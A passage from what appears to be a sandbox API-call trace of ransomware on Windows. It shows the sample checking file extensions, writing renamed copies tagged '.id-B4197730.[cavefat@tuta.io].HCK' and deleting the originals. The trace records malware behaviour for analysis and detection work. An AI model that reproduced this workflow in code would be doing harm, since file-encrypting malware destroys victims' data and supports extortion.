CloseHandle (hObject=0x2f8) returned 1 [0148.342] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.342] SetEndOfFile (hFile=0x300) returned 1 [0148.619] CloseHandle (hObject=0x300) returned 1 [0148.626] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.630] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0148.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.647] lstrlenW (lpString=".doc") returned 4 [0148.647] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.647] lstrlenW (lpString=".docx") returned 5 [0148.648] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.648] lstrlenW (lpString=".pdf") returned 4 [0148.648] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString=".xls") returned 4 [0148.648] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.648] lstrlenW (lpString=".xlsx") returned 5 [0148.648] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.648] lstrlenW (lpString=".ppt") returned 4 [0148.648] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.648] lstrlenW (lpString=".zip") returned 4 [0148.648] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.648] lstrlenW (lpString=".rar") returned 4 [0148.648] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString=".bz2") returned 4 [0148.648] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString=".7z") returned 3 [0148.648] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.648] lstrlenW (lpString=".dbf") returned 4 [0148.648] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.648] lstrlenW (lpString=".1cd") returned 4 [0148.648] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.648] lstrlenW (lpString=".jpg") returned 4 [0148.648] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.648] lstrlenW (lpString=".doc") returned 4 [0148.648] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString=".docx") returned 5 [0148.648] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.648] lstrlenW (lpString=".pdf") returned 4 [0148.648] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.648] lstrlenW (lpString=".xls") returned 4 [0148.648] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.648] lstrlenW (lpString=".xlsx") returned 5 [0148.648] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.649] lstrlenW (lpString=".ppt") returned 4 [0148.649] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.649] lstrlenW (lpString=".zip") returned 4 [0148.649] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.649] lstrlenW (lpString=".rar") returned 4 [0148.649] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.649] lstrlenW (lpString=".bz2") returned 4 [0148.649] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.649] lstrlenW (lpString=".7z") returned 3 [0148.649] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.649] lstrlenW (lpString=".dbf") returned 4 [0148.649] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.649] lstrlenW (lpString=".1cd") returned 4 [0148.649] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0148.649] lstrlenW (lpString=".jpg") returned 4 [0148.649] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.649] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.649] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.649] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.210] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=68226) returned 1 [0149.210] CloseHandle (hObject=0x374) returned 1 [0149.217] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0149.226] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.226] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.226] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.232] GetLastError () returned 0x0 [0149.232] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x10a82, lpOverlapped=0x0) returned 1 [0149.251] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x10a90, lpOverlapped=0x0) returned 1 [0149.252] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.252] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.252] SetEndOfFile (hFile=0x374) returned 1 [0149.252] CloseHandle (hObject=0x374) returned 1 [0149.254] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.254] SetEndOfFile (hFile=0x370) returned 1 [0149.255] CloseHandle (hObject=0x370) returned 1 [0149.255] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.255] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0149.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.256] lstrlenW (lpString=".doc") returned 4 [0149.256] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString=".docx") returned 5 [0149.256] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.256] lstrlenW (lpString=".pdf") returned 4 [0149.256] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString=".xls") returned 4 [0149.256] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString=".xlsx") returned 5 [0149.256] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.256] lstrlenW (lpString=".ppt") returned 4 [0149.256] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.256] lstrlenW (lpString=".zip") returned 4 [0149.256] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.256] lstrlenW (lpString=".rar") returned 4 [0149.256] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString=".bz2") returned 4 [0149.256] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString=".7z") returned 3 [0149.256] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.256] lstrlenW (lpString=".dbf") returned 4 [0149.256] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.256] lstrlenW (lpString=".1cd") returned 4 [0149.256] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.256] lstrlenW (lpString=".jpg") returned 4 [0149.256] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.256] lstrlenW (lpString=".doc") returned 4 [0149.256] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString=".docx") returned 5 [0149.256] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.256] lstrlenW (lpString=".pdf") returned 4 [0149.256] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.256] lstrlenW (lpString=".xls") returned 4 [0149.257] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.257] lstrlenW (lpString=".xlsx") returned 5 [0149.257] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.257] lstrlenW (lpString=".ppt") returned 4 [0149.257] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.257] lstrlenW (lpString=".zip") returned 4 [0149.257] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.257] lstrlenW (lpString=".rar") returned 4 [0149.257] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.257] lstrlenW (lpString=".bz2") returned 4 [0149.257] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.257] lstrlenW (lpString=".7z") returned 3 [0149.257] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.257] lstrlenW (lpString=".dbf") returned 4 [0149.257] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.257] lstrlenW (lpString=".1cd") returned 4 [0149.257] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0149.257] lstrlenW (lpString=".jpg") returned 4 [0149.257] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.257] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.257] lstrlenW (lpString="LocalizedData.xml") returned 17 [0149.257] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.257] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=60684) returned 1 [0149.257] CloseHandle (hObject=0x370) returned 1 [0149.257] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0149.257] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.257] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.258] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.258] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.258] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.258] GetLastError () returned 0x0 [0149.258] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xed0c, lpOverlapped=0x0) returned 1 [0149.260] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xed10, lpOverlapped=0x0) returned 1 [0149.262] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.262] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.262] SetEndOfFile (hFile=0x374) returned 1 [0149.262] CloseHandle (hObject=0x374) returned 1 [0149.266] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.266] SetEndOfFile (hFile=0x370) returned 1 [0149.267] CloseHandle (hObject=0x370) returned 1 [0149.267] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.267] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0149.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.268] lstrlenW (lpString=".doc") returned 4 [0149.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".docx") returned 5 [0149.268] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.268] lstrlenW (lpString=".pdf") returned 4 [0149.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".xls") returned 4 [0149.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".xlsx") returned 5 [0149.268] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.268] lstrlenW (lpString=".ppt") returned 4 [0149.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.268] lstrlenW (lpString=".zip") returned 4 [0149.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.268] lstrlenW (lpString=".rar") returned 4 [0149.268] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".bz2") returned 4 [0149.268] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".7z") returned 3 [0149.268] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.268] lstrlenW (lpString=".dbf") returned 4 [0149.268] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.268] lstrlenW (lpString=".1cd") returned 4 [0149.268] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.268] lstrlenW (lpString=".jpg") returned 4 [0149.268] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.268] lstrlenW (lpString=".doc") returned 4 [0149.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".docx") returned 5 [0149.268] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.268] lstrlenW (lpString=".pdf") returned 4 [0149.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".xls") returned 4 [0149.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".xlsx") returned 5 [0149.268] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.268] lstrlenW (lpString=".ppt") returned 4 [0149.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.268] lstrlenW (lpString=".zip") returned 4 [0149.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.268] lstrlenW (lpString=".rar") returned 4 [0149.268] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.268] lstrlenW (lpString=".bz2") returned 4 [0149.268] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.269] lstrlenW (lpString=".7z") returned 3 [0149.269] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.269] lstrlenW (lpString=".dbf") returned 4 [0149.269] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.269] lstrlenW (lpString=".1cd") returned 4 [0149.269] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0149.269] lstrlenW (lpString=".jpg") returned 4 [0149.269] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.269] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0149.269] lstrlenW (lpString="eula.rtf") returned 8 [0149.269] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.269] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4015) returned 1 [0149.269] CloseHandle (hObject=0x370) returned 1 [0149.270] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0149.270] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.270] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.270] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.270] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.270] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.270] GetLastError () returned 0x0 [0149.270] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xfaf, lpOverlapped=0x0) returned 1 [0149.271] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xfb0, lpOverlapped=0x0) returned 1 [0149.272] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.272] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.272] SetEndOfFile (hFile=0x374) returned 1 [0149.272] CloseHandle (hObject=0x374) returned 1 [0149.273] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.273] SetEndOfFile (hFile=0x370) returned 1 [0149.274] CloseHandle (hObject=0x370) returned 1 [0149.274] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.274] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0149.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.274] lstrlenW (lpString=".doc") returned 4 [0149.274] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.274] lstrlenW (lpString=".docx") returned 5 [0149.274] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.275] lstrlenW (lpString=".pdf") returned 4 [0149.275] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString=".xls") returned 4 [0149.275] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.275] lstrlenW (lpString=".xlsx") returned 5 [0149.275] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.275] lstrlenW (lpString=".ppt") returned 4 [0149.275] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.275] lstrlenW (lpString=".zip") returned 4 [0149.275] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.275] lstrlenW (lpString=".rar") returned 4 [0149.275] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString=".bz2") returned 4 [0149.275] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString=".7z") returned 3 [0149.275] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.275] lstrlenW (lpString=".dbf") returned 4 [0149.275] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.275] lstrlenW (lpString=".1cd") returned 4 [0149.275] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.275] lstrlenW (lpString=".jpg") returned 4 [0149.275] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.275] lstrlenW 